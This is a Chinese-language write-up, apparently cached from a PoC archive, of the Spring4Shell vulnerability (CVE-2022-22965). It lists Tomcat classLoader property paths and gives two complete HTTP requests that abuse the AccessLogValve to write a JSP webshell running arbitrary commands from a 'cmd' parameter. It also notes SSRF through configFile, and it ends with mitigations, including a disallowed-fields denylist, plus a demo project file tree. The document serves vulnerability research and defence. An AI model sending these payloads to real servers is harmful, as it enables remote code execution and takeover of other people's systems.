class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
```
 </details>

 利用其中的class.module.classLoader.resources.context.parent.pipeline可以设置AccessLog的属性,然后就可以利用写日志的功能实现写webshell,POC如下:
 ```text
 GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E
 ```
![](images/2022-04-27-20-47-17.png)

![](images/2022-04-27-20-48-21.png)

或者利用请求头来传递pattern的值:

* tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html

```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
```

也可以利用class.module.classLoader.resources.context.configFile进行SSRF。

其他可利用的属性需要进一步查看各属性的作用。

**需要注意的点是,修改上面的属性可能导致服务重启,因此如果是自己测试无所谓,但是千万不要在现网环境中直接利用这些poc,除非你很清楚并且能承担得起利用导致的后果!!**

### 漏洞修复&规避

新版本的修复方式中,主要有两个点来阻止变量覆盖:
1. 通过全局设置来禁用对特定字段的disallowFields绑定WebDataBinder:
```java 
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }
}
```
但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;

2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:

![](images/2022-04-28-11-49-03.png)

**其他规避措施:**

1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的,从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
2. jdk9以下不受该漏洞影响。
文件快照

[4.0K] /data/pocs/ef268f2bc268df2df506033cf18f7c9cc1ae6a06 ├── [ 26K] class.module_properties.txt ├── [1.0M] CVE-2022-22965.burp ├── [4.0K] images │   ├── [110K] 2022-04-24-15-07-04.png │   ├── [ 47K] 2022-04-24-15-49-28.png │   ├── [ 52K] 2022-04-24-15-53-25.png │   ├── [ 91K] 2022-04-24-15-55-12.png │   ├── [ 76K] 2022-04-24-15-59-30.png │   ├── [143K] 2022-04-24-16-32-49.png │   ├── [ 62K] 2022-04-24-16-46-20.png │   ├── [ 76K] 2022-04-24-17-16-27.png │   ├── [106K] 2022-04-24-17-19-08.png │   ├── [288K] 2022-04-25-16-57-59.png │   ├── [151K] 2022-04-25-17-12-06.png │   ├── [ 99K] 2022-04-25-17-21-53.png │   ├── [100K] 2022-04-25-17-24-23.png │   ├── [165K] 2022-04-26-10-46-06.png │   ├── [133K] 2022-04-26-10-49-06.png │   ├── [194K] 2022-04-26-11-17-11.png │   ├── [ 66K] 2022-04-27-20-47-17.png │   ├── [ 17K] 2022-04-27-20-48-21.png │   ├── [ 80K] 2022-04-28-11-49-03.png │   ├── [ 32K] data_binding.png │   ├── [ 78K] diDispatch.png │   └── [ 21K] handleInternal.png ├── [4.0K] imgs │   └── [110K] 2022-04-24-15-05-46.png ├── [2.6K] pom.xml ├── [ 50K] README.md └── [4.0K] src ├── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] github │   │   └── [4.0K] enokiy │   │   └── [4.0K] springrcedemo │   │   ├── [4.0K] bean │   │   │   ├── [ 480] Target.java │   │   │   ├── [ 743] UserInfo.java │   │   │   └── [ 539] User.java │   │   └── [4.0K] controller │   │   └── [4.2K] DemoController.java │   └── [4.0K] webapp │   ├── [ 207] index.jsp │   ├── [4.0K] page │   │   └── [ 472] home.jsp │   ├── [1.1K] spring-mvc.xml │   ├── [ 238] test.jsp │   └── [4.0K] WEB-INF │   └── [ 774] web.xml └── [4.0K] test └── [4.0K] java └── [4.0K] com └── [4.0K] github └── [4.0K] enokiy └── [4.0K] springrcedemo └── [4.0K] bean └── [3.8K] UserTest.java 21 directories, 37 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。